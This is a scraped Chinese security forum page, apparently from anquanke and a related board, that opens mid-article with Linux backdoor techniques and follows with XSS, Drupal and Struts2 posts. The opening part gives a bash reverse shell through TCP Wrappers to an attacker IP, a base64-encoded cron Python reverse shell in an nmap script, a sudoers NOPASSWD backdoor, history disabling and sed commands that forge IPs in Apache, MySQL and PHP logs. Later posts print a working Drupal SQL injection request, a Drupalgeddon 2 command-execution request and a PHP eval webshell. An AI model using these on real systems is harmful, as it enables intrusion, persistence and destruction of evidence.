用户家目录下,修改环境变量,使得用户登录就会触发录像
vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his

 Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令
sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"

授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...


更详细文章参考:
https://segmentfault.com/a/1190000007394449
 TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow

ssh访问目标主机
ssh [email]qweqwe@192.168.4[/email].100
触发后门

 nmap nse后门
很多linux系统中默认都安装了nmap
mkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="


base64解密
echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab#

解密
import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

可以将127.0.0.1改成你的地址

 进程注入
cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888

只能连接一次后就失效没啥用。
https://github.com/jorik041/cymothoa
 清理
bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null

 修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
 伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
 Linux日志清除
首先是Apache日志,Apache主要的日志就是
access.log``error_log
,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。
对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log

其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。
MySQL日志文件
log-error=/var/log/mysql/mysql_error.log
 #错误日志
log=/var/log/mysql/mysql.log
#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log
 # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log
 #慢查询日志
log-error=/var/log/mysql/mysqld.log

pid-file=/var/run/mysqld/mysqld.pid

sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/mysql/mysql_slow.log

至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log

最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要/etc/logrotate.d/syslog/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
清除脚本:
https://github.com/JonGates/jon
之前记录的笔记反过来看Linux后门的各种类型也算是比较全面了,最后我还是没有找到中意的后门,商业的又买不起,自己又不会写,转行了转行了搞毛渗透。
参考链接:
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save
linux一种无文件后门技巧(译文)
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%
 
本文由安全客原创发布 
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/155943
安全客 - 有思想的安全新媒体

记一次有意思的XSS绕过之奇葩的中文尖括号

Web安全渗透lawliet 发表了文章 • 3 个评论 • 222 次浏览 • 2018-09-02 23:18 • 来自相关话题

记一次有意思的XSS绕过之奇葩的中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过,过滤方式比较奇葩,把>变为了中文的尖括号>,导致插入页面的xss payload不能被浏览器解析,但是经过一番测试无意间发现了一种绕过方式,构造方法比较特殊,在这分享一下~奇葩的过滤
过滤方式如下




可以看到对输入的过滤是将>变为了中文的尖括号>,这样的话浏览器在解析html标签时,由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行,加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点,所以在构造xss的时候>符号是必不可少的bypass
绕过其实也很简单,构造payload如下<img onerror=alert(1) src=>







这一点的构造思路正是用到了中文尖括号>在浏览器解析时不能被浏览器识别的特点,这样的话>”</span会被浏览器当成img标签的src属性的属性值,也就是一个错误的图片资源,导致后面span标签的>逃逸,于是span标签的>闭合了img标签,xss payload执行










  查看全部
记一次有意思的XSS绕过之奇葩的中文尖括号
记录一个我实战中遇到的比较有意思的XSS绕过,过滤方式比较奇葩,把
>
变为了中文的尖括号
,导致插入页面的xss payload不能被浏览器解析,但是经过一番测试无意间发现了一种绕过方式,构造方法比较特殊,在这分享一下~
奇葩的过滤
过滤方式如下

0.png
可以看到对输入的过滤是将
>
变为了中文的尖括号
,这样的话浏览器在解析html标签时,由于标签无法正常闭合就会出现语法错误而导致xss payload无法被浏览器解析执行,加上页面可以利用的输出点只有这一个位置并且在DOM的文本节点,所以在构造xss的时候
>
符号是必不可少的
bypass
绕过其实也很简单,构造payload如下
<img onerror=alert(1) src=>



0.png

这一点的构造思路正是用到了中文尖括号
在浏览器解析时不能被浏览器识别的特点,这样的话
>”</span
会被浏览器当成img标签的src属性的属性值,也就是一个错误的图片资源,导致后面span标签的
>
逃逸,于是span标签的
>
闭合了img标签,xss payload执行


0.png


0.png

 

Drupal < 7.32 SQL注入漏洞(CVE-2014-3704)

zksmile 发表了文章 • 0 个评论 • 157 次浏览 • 2018-09-02 19:53 • 来自相关话题

0x01 漏洞详情
Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架),即: CMS + Framework1. Framework它由2部分组成

1) Drupal内核中的功能强大的PHP类库和PHP函数库

2) 在此基础上抽象的Drupal API

2. CMS
HTML+JAVASCRIPT+CSS
Drupal的架构由三大部分组成1. 内核
2. 模块
3. 主题


三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护,drupal的这种面向对象的集中实现化的机制为开发者开来了极大的编程体验的提升,但同时也引入了一个风险,一旦这种底层的、内核的实现路由上的某个节点出了漏洞,权限漏洞、或者例如sql注入的边界检查缺失,则造成的影响将是全系统的破坏
 
这次的Drupal发生的高危SQL注入漏洞就是源于这个原因,因为发生漏洞的位置处于Drupal的内核区域,虽然是WEB应用,但是我们可以理解为处于一个高权限的代码区域,在这个逻辑层面发生的SQL注入可以导致很高权限的代码执行.
 
0x02 影响范围Drupal 7.x - 7.31


0x03 漏洞代码分析
 
下载Drupal 7.31的源代码进行分析,产生漏洞的源头在"/includes/database/database.inc",从架构上来说,这是Drupal的"内核”/**
* Expands out shorthand placeholders.
*
* Drupal supports an alternate syntax for doing arrays of values. We
* therefore need to expand them out into a full, executable query string.
*
* @param $query
* The query string to modify.
* @param $args
* The arguments for the query.
*
* @return
* TRUE if the query was modified, FALSE otherwise.
*/
protected function expandArguments(&$query, &$args)
{
$modified = FALSE;

// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
/*
array_filter can Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved.
array_filter($args, 'is_array')起到过滤器的作用,从$args中剥离出"数组"的部分
*/
foreach (array_filter($args, 'is_array') as $key => $data)
{
$new_keys = array();
/*
这行代码是导致漏洞的关键点:
1. 没有对array的key、value进行"参数化纯净性验证",导致黑客在key中注入了可执行代码,对即将执行的sql语句进行了污染
2. 即没有将输入的值强制限定在程序预先设定的可接受的值范围内
*/
foreach ($data as $i => $value)
{
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}

// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}

return $modified;
}
从expandArguments函数中我们可以看到,代码没有对key、value同时采取"参数化纯净预处理",导致黑客在key中进行了代码注入,而之后这个key又被带入了sql语句的拼接中,这也正是drupla提供的一个DB PDO抽象函数,方便程序员使用array数组的方式进行sql查询语句的拼接,但是问题就在于drupal在处理这个input array的时候没有进行必要的处理。
 
在/includes/database/database.inc调用了上述expandArguments函数:..
public function query($query, array $args = array(), $options = array()) {

// Use default values if not already set.
$options += $this->defaultOptions();

try {
// We allow either a pre-bound statement object or a literal string.
// In either case, we want to end up with an executed statement object,
// which we pass to PDOStatement::execute.
if ($query instanceof DatabaseStatementInterface) {
$stmt = $query;
$stmt->execute(NULL, $options);
}
else {
$this->expandArguments($query, $args);
$stmt = $this->prepareQuery($query);
$stmt->execute($args, $options);
}
...


程序在$stmt = $this->prepareQuery($query); 这里直接将sql语句 带入了数据库中执行,导致了sql注入。
 
0x04 漏洞复现
 
1、向服务器发送下列数据包:POST /?q=node&destination=node HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

pass=zksmile&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=zksmile&name[0]=a




0X05 漏洞防御 1. 直接使用官方补丁进行修复:
https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch
2、升级到 Drupal 7.32
https://www.drupal.org/drupal-7.32-release-notes 查看全部
0x01 漏洞详情
Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架),即: CMS + Framework
1. Framework它由2部分组成

1) Drupal内核中的功能强大的PHP类库和PHP函数库

2) 在此基础上抽象的Drupal API

2. CMS
HTML+JAVASCRIPT+CSS

Drupal的架构由三大部分组成
1. 内核
2. 模块
3. 主题


三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护,drupal的这种面向对象的集中实现化的机制为开发者开来了极大的编程体验的提升,但同时也引入了一个风险,一旦这种底层的、内核的实现路由上的某个节点出了漏洞,权限漏洞、或者例如sql注入的边界检查缺失,则造成的影响将是全系统的破坏
 
这次的Drupal发生的高危SQL注入漏洞就是源于这个原因,因为发生漏洞的位置处于Drupal的内核区域,虽然是WEB应用,但是我们可以理解为处于一个高权限的代码区域,在这个逻辑层面发生的SQL注入可以导致很高权限的代码执行.
 
0x02 影响范围
Drupal 7.x - 7.31


0x03 漏洞代码分析
 
下载Drupal 7.31的源代码进行分析,产生漏洞的源头在"/includes/database/database.inc",从架构上来说,这是Drupal的"内核”
/**
* Expands out shorthand placeholders.
*
* Drupal supports an alternate syntax for doing arrays of values. We
* therefore need to expand them out into a full, executable query string.
*
* @param $query
* The query string to modify.
* @param $args
* The arguments for the query.
*
* @return
* TRUE if the query was modified, FALSE otherwise.
*/
protected function expandArguments(&$query, &$args)
{
$modified = FALSE;

// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
/*
array_filter can Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved.
array_filter($args, 'is_array')起到过滤器的作用,从$args中剥离出"数组"的部分
*/
foreach (array_filter($args, 'is_array') as $key => $data)
{
$new_keys = array();
/*
这行代码是导致漏洞的关键点:
1. 没有对array的key、value进行"参数化纯净性验证",导致黑客在key中注入了可执行代码,对即将执行的sql语句进行了污染
2. 即没有将输入的值强制限定在程序预先设定的可接受的值范围内
*/
foreach ($data as $i => $value)
{
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}

// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}

return $modified;
}

从expandArguments函数中我们可以看到,代码没有对key、value同时采取"参数化纯净预处理",导致黑客在key中进行了代码注入,而之后这个key又被带入了sql语句的拼接中,这也正是drupla提供的一个DB PDO抽象函数,方便程序员使用array数组的方式进行sql查询语句的拼接,但是问题就在于drupal在处理这个input array的时候没有进行必要的处理。
 
在/includes/database/database.inc调用了上述expandArguments函数:
..
public function query($query, array $args = array(), $options = array()) {

// Use default values if not already set.
$options += $this->defaultOptions();

try {
// We allow either a pre-bound statement object or a literal string.
// In either case, we want to end up with an executed statement object,
// which we pass to PDOStatement::execute.
if ($query instanceof DatabaseStatementInterface) {
$stmt = $query;
$stmt->execute(NULL, $options);
}
else {
$this->expandArguments($query, $args);
$stmt = $this->prepareQuery($query);
$stmt->execute($args, $options);
}
...


程序在$stmt = $this->prepareQuery($query); 这里直接将sql语句 带入了数据库中执行,导致了sql注入。
 
0x04 漏洞复现
 
1、向服务器发送下列数据包:
POST /?q=node&destination=node HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 122

pass=zksmile&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=zksmile&name[0]=a
1.png


0X05 漏洞防御 
1.  直接使用官方补丁进行修复:
https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch
2、升级到 Drupal 7.32
https://www.drupal.org/drupal-7.32-release-notes

Drupal 远程代码执行漏洞(CVE-2018-7600)

zksmile 发表了文章 • 0 个评论 • 223 次浏览 • 2018-09-02 11:49 • 来自相关话题

0x01 前言Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开放框架(Framework)共同构成,连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。全世界有超过一百万个站点(包括政府,电子零售,企业组织,金融机构等)使用它们。0x02 漏洞详情Drupal安全团队披露了一个非常关键的(25/25 NIST排名)漏洞,绰号为Drupalgeddon 2(SA-CORE-2018-002 / CVE-2018-7600)。此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
0x03 漏洞编号CVE-2018-76000x04 影响范围从6到8的所有Drupal版本都存在漏洞0x05 漏洞原理http://www.venenof.com/index.php/archives/529/
https://paper.seebug.org/567/
https://research.checkpoint.com/uncovering-drupalgeddon-2/


0x06 复现环境Drupal 8.5.00x07 漏洞复现
 
1、漏洞的触发点是在用户注册上传头像处 




2、发送以下数据包即可检测和利用该漏洞 POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
form_id=user_register_form&_drupal_ajax=1&mail[#post_render]=exec&mail[#type]=markup&mail[#markup]=whoami



3、在利用的过程中可以使用linux的tee
 
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
 
tee存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。 
 










4、写一句话木马
 
发现一句话被过滤一些内容并且内容并没有被解析。 





思路就是利用curl 获取远程服务器的shell。
 
远程服务器文件内容如下:zksmile@xxx:/var/www/html/zk$ cat one.txt
<?php @eval($_POST['zksmile'])?>
zksmile@xxx:/var/www/html/zk$执行:





这个时候一句话木马也上传成功了,文件也没有问题,但是使用菜刀连接时一直连接不成,此时换一个大马,成功解析。 










  查看全部
0x01 前言
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开放框架(Framework)共同构成,连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。全世界有超过一百万个站点(包括政府,电子零售,企业组织,金融机构等)使用它们。
0x02 漏洞详情
Drupal安全团队披露了一个非常关键的(25/25 NIST排名)漏洞,绰号为Drupalgeddon 2(SA-CORE-2018-002 / CVE-2018-7600)。此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
0x03 漏洞编号
CVE-2018-7600
0x04 影响范围
从6到8的所有Drupal版本都存在漏洞
0x05 漏洞原理
http://www.venenof.com/index.php/archives/529/
https://paper.seebug.org/567/
https://research.checkpoint.com/uncovering-drupalgeddon-2/


0x06 复现环境
Drupal 8.5.0
0x07 漏洞复现
 
1、漏洞的触发点是在用户注册上传头像处 
1.png

2、发送以下数据包即可检测和利用该漏洞 
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: IP:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
form_id=user_register_form&_drupal_ajax=1&mail[#post_render]=exec&mail[#type]=markup&mail[#markup]=whoami
2.png

3、在利用的过程中可以使用linux的tee
 
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
 
tee存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。 
 
3.png


3.2_.png


4、写一句话木马
 
发现一句话被过滤一些内容并且内容并没有被解析。 

4.png

思路就是利用curl 获取远程服务器的shell。
 
远程服务器文件内容如下:
zksmile@xxx:/var/www/html/zk$ cat one.txt
<?php @eval($_POST['zksmile'])?>
zksmile@xxx:/var/www/html/zk$
执行:

4.2_.png

这个时候一句话木马也上传成功了,文件也没有问题,但是使用菜刀连接时一直连接不成,此时换一个大马,成功解析。 

4.3_.png


4.4_.png

 

Struts2-057 漏洞环境搭建+案例

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 269 次浏览 • 2018-09-01 10:10 • 来自相关话题

一、struts2 搭建
这几天为了复现struts2-057的漏洞,自己试着去搭建一下环境,但是以前对JAVA不是太熟悉,进入了知识的盲区,慢慢摸索进行,跳了很多坑,总之还是完成了struts2的环境搭建,这里总结一下,希望大家少走弯路,有所帮助。
二、struts2 环境说明系统环境:Windows 7
Web服务器:TOMCAT 9.0(apache-tomcat-9.0.11-windows-x64)
JAVA 环境:JDK1.8(jdk-8u181-windows-x64)
Eclipse 环境:Eclipse-inst-win64
Struts2:struts-2.3.20-all.zip
为了大家方便,我直接把所有的包传到百度网盘,给大家分享出来,包都是来自官网:
链接:https://pan.baidu.com/s/1orpMO2zYHWK2xqsSm510-A 密码:9nkh
三 、安装前的说明
安装的顺序为JDK+TOMCAT+Eclipse+Struts2, 这里的一定要注意JDK和TOMCAT的版本搭配,目前我测试过的位JDK1.8+ TOMCAT9.0 是没有问题的,在这上面可算栽大跟头了。所以大家一定要多注意这点。基础环境的版本很重要。
四 、JDK环境安装配置
 Step1:URL下载链接
http://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html






 Step2:安装过程
JDK安装很简单,点击下一步安装即可,默认安装就可以了,这里需要记住自己的安装路径,下面介绍一下JDK的环境变量的配置。
Step3:环境变量
Windows7的电脑属性----》高级系统设置----》环境变量






增加系统变量(不是用户变量)JAVA_HOME, 变量内容:安装JDK的路径,截图如下






配置Path的环境变量,在path环境后面增加JAVA_HOME 内容如下:;%JAVA_HOME%/bin,截图如下:






五、 TOMCAT环境安装配置
Step1:下载链接:
https://tomcat.apache.org/
Step2:下载二进制文件,免安装
Step3:配置一下环境变量,跟JDK的配置步骤一样
%TOMCAT_HOME%/bin
Step4:测试一下是否成功,在命令行下执行 startup 启动tomcat服务器,然后在浏览器中输入:localhost:8080











六、Eclipse 安装

Eclipse的安装不存在坑,只要正常安装即可,但是必须之前安装JDK和TOMCAT, Eclipse本身就是一个编译器,为了更加高效的开发。
 
七 、struts环境的部署
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Step1:下载Strust2  URL地址:https://archive.apache.org/dist/struts/ 






Step2:Eclipse 创建一个dynamic web project






step3:配置项目创建









八、 struts工作流程
其实用最简单的七个步骤: 1:客户端在浏览器中输入一个url地址;
2:这个url请求通过http协议发送给tomcat;
3:tomcat根据url找到对应项目里面的web.xml文件;
4:在web.xml里面会发现有struts2的配置;
5:然后会找到struts2对应的struts.xml配置文件;
6:根据url解析struts.xml配置文件就会找到对应的class;
7:调用完class返回一个结果result,根据struts.xml返回到对应的jsp;
具体文档可以参考:https://blog.csdn.net/liuyinghui523/article/details/48290625
 
九、 struts的一个案例
struts2 案例中,分为了 导入struts2的基础包和引用、配置web.xml 、创建Action和struts.xml 和创建视图result.jsp。具体的步骤为:
 
step1: 导入struts2的基础包






step2:修改一下web.xml 文件<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" id="WebApp_ID" version="4.0">
<display-name>helloworld</display-name>

<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
step3:创建一个方法Action











step4:配置helloworld的java文件如下:package com.imooc.action;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorldAction extends ActionSupport {

@Override
public String execute() throws Exception {
// TODO Auto-generated method stub
System.out.println("执行Action");
return SUCCESS;
}


}





step5:创建一个视图文件result.jsp 文件<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
this is result.jsp
</body>
</html>step6:进行测试










 

 备注:如果有人需要进行VM已经调试好的环境,可以找我私聊。
 
  查看全部
一、struts2 搭建
这几天为了复现struts2-057的漏洞,自己试着去搭建一下环境,但是以前对JAVA不是太熟悉,进入了知识的盲区,慢慢摸索进行,跳了很多坑,总之还是完成了struts2的环境搭建,这里总结一下,希望大家少走弯路,有所帮助。
二、struts2 环境说明
系统环境:Windows 7
Web服务器:TOMCAT 9.0(apache-tomcat-9.0.11-windows-x64)
JAVA 环境:JDK1.8(jdk-8u181-windows-x64)
Eclipse 环境:Eclipse-inst-win64
Struts2:struts-2.3.20-all.zip

为了大家方便,我直接把所有的包传到百度网盘,给大家分享出来,包都是来自官网:
链接:https://pan.baidu.com/s/1orpMO2zYHWK2xqsSm510-A 密码:9nkh
三 、安装前的说明
安装的顺序为JDK+TOMCAT+Eclipse+Struts2, 这里的一定要注意JDK和TOMCAT的版本搭配,目前我测试过的位JDK1.8+ TOMCAT9.0 是没有问题的,在这上面可算栽大跟头了。所以大家一定要多注意这点。基础环境的版本很重要。
四 、JDK环境安装配置
 Step1:URL下载链接
http://www.oracle.com/technetwork/cn/java/javase/downloads/jdk8-downloads-2133151-zhs.html

QQ图片20180901084041.png


 Step2:安装过程
JDK安装很简单,点击下一步安装即可,默认安装就可以了,这里需要记住自己的安装路径,下面介绍一下JDK的环境变量的配置。
Step3:环境变量
Windows7的电脑属性----》高级系统设置----》环境变量

QQ截图20180901084637.png


增加系统变量(不是用户变量)JAVA_HOME, 变量内容:安装JDK的路径,截图如下

QQ截图20180901085030.png


配置Path的环境变量,在path环境后面增加JAVA_HOME 内容如下:;%JAVA_HOME%/bin,截图如下:

QQ截图20180901085946.png


五、 TOMCAT环境安装配置
Step1:下载链接:
https://tomcat.apache.org/
Step2:下载二进制文件,免安装
Step3:配置一下环境变量,跟JDK的配置步骤一样
%TOMCAT_HOME%/bin
Step4:测试一下是否成功,在命令行下执行 startup 启动tomcat服务器,然后在浏览器中输入:localhost:8080

QQ截图20180901091213.png


QQ截图20180901091308.png


六、Eclipse 安装

Eclipse的安装不存在坑,只要正常安装即可,但是必须之前安装JDK和TOMCAT, Eclipse本身就是一个编译器,为了更加高效的开发。
 
七 、struts环境的部署
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Step1:下载Strust2  URL地址:https://archive.apache.org/dist/struts/ 

QQ截图20180901090458.png


Step2:Eclipse 创建一个dynamic web project

QQ截图20180901093319.png


step3:配置项目创建
QQ截图20180901093609.png

QQ截图20180901093843.png


八、 struts工作流程
其实用最简单的七个步骤:
  1:客户端在浏览器中输入一个url地址;
2:这个url请求通过http协议发送给tomcat;
3:tomcat根据url找到对应项目里面的web.xml文件;
4:在web.xml里面会发现有struts2的配置;
5:然后会找到struts2对应的struts.xml配置文件;
6:根据url解析struts.xml配置文件就会找到对应的class;
